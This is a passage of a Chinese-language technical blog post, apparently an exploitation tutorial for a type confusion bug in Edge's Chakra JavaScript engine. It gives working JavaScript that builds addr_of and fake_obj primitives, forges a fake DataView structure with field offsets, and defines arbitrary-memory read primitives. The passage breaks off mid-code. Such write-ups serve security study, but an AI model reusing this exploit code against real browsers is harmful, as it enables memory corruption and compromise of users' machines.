initial;">找到重叠的对象后，将其中某个数组修改为对象数组，这样就形成整数数组与对象数组指向同一片内存，很简单的就得到了<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">addr_of</code>以及<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fake_obj</code>原语：</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// transition the array type </span><br style="box-sizing: border-box;"/>c[index2][<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>] = {};<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// now we can get addr_of and fake_obj primitive</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> int_arr = b[index1];<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> obj_arr = c[index2];<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">addr_of</span>(<span style="box-sizing: border-box;line-height: 26px;">obj</span>) </span>{<br style="box-sizing: border-box;"/>    obj_arr[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>] = obj;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">return</span> int_arr[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>];<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">fake_obj</span>(<span style="box-sizing: border-box;line-height: 26px;">addr</span>) </span>{<br style="box-sizing: border-box;"/>    int_arr[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>] = addr;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">return</span> obj_arr[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>];<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">有了<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">addr_of</code>以及<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fake_obj</code>原语，接着就是构造<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">aar</code>以及<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">aaw</code>原语，原语的构造方法是伪造<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">DataView</code>结构体，通过修改<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">DataView</code>的内存指针来实现任意地址读写，详细过程可以参考Edge Type Confusion利用：从type confused到内存读写。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">DataView</code>对应的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">32</code>位结构体如下所示，其中偏移为<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0x1c</code>的是我们要填写任意地址读写的字段。</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">DataView:<br/>+0x0  : vtable;<br/>+0x4  : TypeObject;<br/>+0x8  : 0;<br/>+0xc  : 0;<br/>+0x10 : JavascriptArrayBuffer;<br/>+0x14 : 0;<br/>+0x18 : size;<br/>+0x1c : Buffer;<br/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">还需要关注的三个字段是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">vtable</code>、<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TypeObject</code>以及<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">JavascriptArrayBuffer</code>字段。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">当我们利用伪造的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fake_dv</code>进行任意地址读写的时候，它会调用<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">vtable</code>中的虚函数，由于我们不知道虚函数表的地址，因此需要方法来绕过。方法是不直接用<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fake_dv.getUint32</code>这样的形式来进行调用，而是用<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">DataView.prototype.getUint32.call(fake_dv, 0, true)</code>的形式来调用，这样就不需要从<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fake_dv</code>对象的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">vtable</code>字段来获取函数地址。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">第二个要关注的字段是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TypeObject</code>指针，它里面的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">typeId</code>要合理有效，<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">JavascriptLibrary</code>地址要为有效的内存地址。</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">TypeObject:<br/>+0x0  : typeId;<br/>+0x4  : JavascriptLibrary;<br/>+0x8  : prototype;<br/>+0xc  : Js::RecyclableObject::DefaultEntryPoint;<br/>+0x10 : 0;<br/>+0x14 : 0;<br/>+0x18 : SimplePathTypeHandler;<br/>+0x1c : value;<br/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">第三个要关注的字段是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">JavascriptArrayBuffer</code>，它所指向的内存地址某位是用来标记是否是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">isDetached</code>。如果被置位，说明内存已被释放不能再使用，所以要将该字段置<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0</code>。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">最终构造<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fake_dv</code>代码如下。</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// fake DataView struct container</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> container = <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Array</span>(<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>,     <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// field 0: fake vtable</span><br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>,      <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// field 1: TypeObject pointer</span><br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>,      <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// field 2: Inherited data from Dynamic Object</span><br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>,      <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// field 3: Inherited data from Dynamic Object</span><br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>,      <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// field 4: buffer size</span><br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>,      <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// field 5: ArrayBuffer Object pointer</span><br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>,      <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// field 6: byteoffset</span><br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>       <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// field 7: target addr</span><br style="box-sizing: border-box;"/>)<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> container_addr = addr_of(container);<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> fake_dv_addr = container_addr + <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x38</span>;<br style="box-sizing: border-box;"/>container[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>] = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">46</span>                   <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// fake vtable, also used as TypeId in TypeObject Pointer</span><br style="box-sizing: border-box;"/>container[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">1</span>] = fake_dv_addr;        <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// fake TypeObject Pointer point to fake_dv_addr, also as fake TypeObject JavascriptLibrary pointer</span><br style="box-sizing: border-box;"/>container[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">2</span>] = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>;                   <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// the isDetached bit should be 0</span><br style="box-sizing: border-box;"/>container[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">4</span>] = fake_dv_addr + <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">8</span>;    <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// fake ArrayBuffer Object pointer, the isDetached bit should be 0</span><br style="box-sizing: border-box;"/>container[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">6</span>] = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x300</span>;               <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// fake size</span><br style="box-sizing: border-box;"/>container[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">7</span>] = fake_dv_addr;        <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// arbitrary pointer</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// build fake DataView, now we can aar and aaw with this fake_dv</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> fake_dv = fake_obj(fake_dv_addr);<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">有了<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fake_dv</code>以后，<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">aar</code>以及<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">aaw</code>就很简单了，修改<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">DataView</code>的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Buffer</code>字段即可。</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// aar primitive</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">read32</span>(<span style="box-sizing: border-box;line-height: 26px;">addr</span>) </span>{<br style="box-sizing: border-box;"/>    container[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">7</span>] = addr;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> val = <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">DataView</span>.prototype.getUint32.call(fake_dv, <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>, <span style="box-sizing: border-box;color: rgb(86, 182, 194);line-height: 26px;">true</span>);<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">return</span> val;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">read8</span>(<span style="box-sizing: border-box;line-height: 26px;">addr</span>) </span>{<br style="box-sizing: border-box;"/>    container[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">7</span>] = addr;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> val = <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">DataView</span>.prototype.getUint8.call(fake_dv, <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 